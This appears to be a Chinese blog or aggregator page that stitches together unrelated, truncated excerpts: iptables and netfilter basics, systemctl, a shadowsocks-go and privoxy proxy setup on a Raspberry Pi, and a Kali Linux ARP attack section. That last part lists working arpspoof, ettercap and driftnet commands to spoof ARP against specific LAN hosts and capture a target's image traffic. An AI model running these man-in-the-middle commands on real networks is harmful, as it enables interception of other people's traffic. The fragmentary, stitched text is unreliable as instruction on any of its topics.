iptables 命令、规则、参数详解
防火墙相关概念
此处先描述一些相关概念。
从逻辑上讲。防火墙可以大体分为主机防火墙和网络防火墙。
主机防火墙:针对于单个主机进行防护。
网络防火墙:往往处于网络入口或边缘,针对于网络入口进行防护,服务于防火墙背后的本地局域网。
网络防火墙和主机防火墙并不冲突,可以理解为,网络防火墙主外(集体), 主机防火墙主内(个人)。
从物理上讲,防火墙可以分为硬件防火墙和软件防火墙。
硬件防火墙:在硬件级别实现部分防火墙功能,另一部分功能基于软件实现,性能高,成本高。
软件防火墙:应用软件处理逻辑运行于通用硬件平台之上的防火墙,性能低,成本低。
那么在此处,我们就来聊聊Linux的iptables
iptables其实不是真正的防火墙,我们可以把它理解成一个客户端代理,用户通过iptables这个代理,将用户的安全设定执行到对应的"安全框架"中,这个"安全框架"才是真正的防火墙,这个框架的名字叫netfilter
netfilter才是防火墙真正的安全框架(framework),netfilter位于内核空间。
iptables其实是一个命令行工具,位于用户空间,我们用这个工具操作真正的框架。
netfilter/iptables(下文中简称为iptables)组成Linux平台下的包过滤防火墙,与大多数的Linux软件一样,这个包过滤防火墙是免费的,它可以代替昂贵的商业防火墙解决方案,完成封包过滤、封包重定向和网络地址转换(NAT)等功能。
Netfilter是Linux操作系统核心层内部的一个数据包处理模块,它具有如下功能:
网络地址转换(Network Address Translate)
数据包内容修改
以及数据包过滤的防火墙功能
所以说,虽然我们使用service iptables start启动iptables"服务",但是其实准确的来说,iptables并没有一个守护进程,所以并不能算是真正意义上的服务,而应该算是内核提供的功能。
CentOS 7 systemctl 用法详解
systemd 是 Linux 系统中最新的初始化系统 (init), systemd 和 upstart 是竞争对手,ubantu 上使用的是 upstart 的启动方式, Centos 7 上使用 systemd.
systemctl 是管理服务的主要工具, 它整合了 chkconfig 与 service 功能于一体。
system: 系统启动和服务器守护进程管理器, 负责在系统启动或运行时, 激活系统资源, 服务器进程和其他进程, 字母 d 是守护进程(daemon)的缩写, systemd 这个名字的含义就是它要守护整个系统。
shadowsocks-go客户端 + privoxy + 树莓派3 (Centos7 ARM)
树莓派3只有信用卡大小的单片机,其系统基于Linux. ARM 构架CPU.其强大的CPU 如果只用OpenWrt其实太浪费了 而且OpenWrt 网卡驱动不齐全基本需要自己再次安装.甚至连板载wifi 还有HDMI AV 接口都无法使用这极大的浪费了树莓派3代的性能.
树莓派自带的raspbian系统过于臃肿 作为服务器不需要的UI系统 一些基于UI的软件太多,如果作为服务器的话不推荐使用.CentOS 7 支持树莓派3代以后 外接USB网卡基本插上就可以识别了 我这里有2个USB有线网卡(一个X宝,一个苹果的A1277)1个无线网卡(TL-WN821N) 全部都识别不需要再次安装驱动.在OpenWrt全部都不识别而且驱动及其难找.
Shadow.socks是我们常用的代理工具,它使用socks5协议,而终端很多工具目前只支持http和https等协议,对socks5协议支持不够好,所以我们为终端设置shadowsocks的思路就是将socks协议转换成http协议,然后为终端设置即可。windows 下一般软件自带了转换功能无需再次安装.
==========================================================
shadow.socks 版本选择说明
shadow.socks - Python version 树莓派CentOS 7 无法安装pip ×
shadow.socks-nodejs - Node.js version 树莓派CentOS 7 无Node.js环境 ×
shadow.socks-go - Go version 树莓派CentOS 7 有Golang环境 Go版本运行效率高 √
shadow.socks-libev - C libev version LInux 常见版本 树莓派CentOS 7 缺少编译环境 ×
shadow.socks-libuv - C libuv version 我没见过的版本 教程相对较少 ×
shadow.socks-erlang - Erlang version 我没见过.. ×
shadow.socks-dotcloud - Dotcloud PAAS version 还是没见过的 ×
==========================================================
准备阶段:
- 树莓派3代B型
- CentOS 7 ARM版
- golang环境(crypto支持库 点我下载)
- shadow.socks-go 客户端
- privoxy-3.0.28-1.fc31.armv7hl.rpm (截止2019年4月25日 最新版本) 点我下载
privoxy 比 polipo 要稳定许多
==========================================================
Kali Linux ARP攻击
1.利用ettercap进行arp欺骗:
root权限下打开ettercap:
ettercap -C (curses UI) ettercap -G (GTK+ GUI)
在Kali下命令行输入:
arpspoof -i eth0 -t 192.168.1.106 192.168.1.1
arpspoof的命令参数解释:-i 网卡 -t 目标IP 网关
2.利用ettercap+driftnet截获目标主机的图片数据流
打开一个终端窗,root权限执行:
ettercap -i wlan0 -Tq -M arp:remote /192.168.1.107/ /192.168.1.1/ #对目标主机进行arp欺骗
新建一个终端窗口,执行:
driftnet -i wlan0 #监听wlan0
3.利用ettercap+dns截获目标主机访问
引用:http://www.secpulse.com/archives/6068.html
http://www.3fwork.com/b506/000099MYM019924/
https://huirong.github.io/2015/03/25/arpspoof/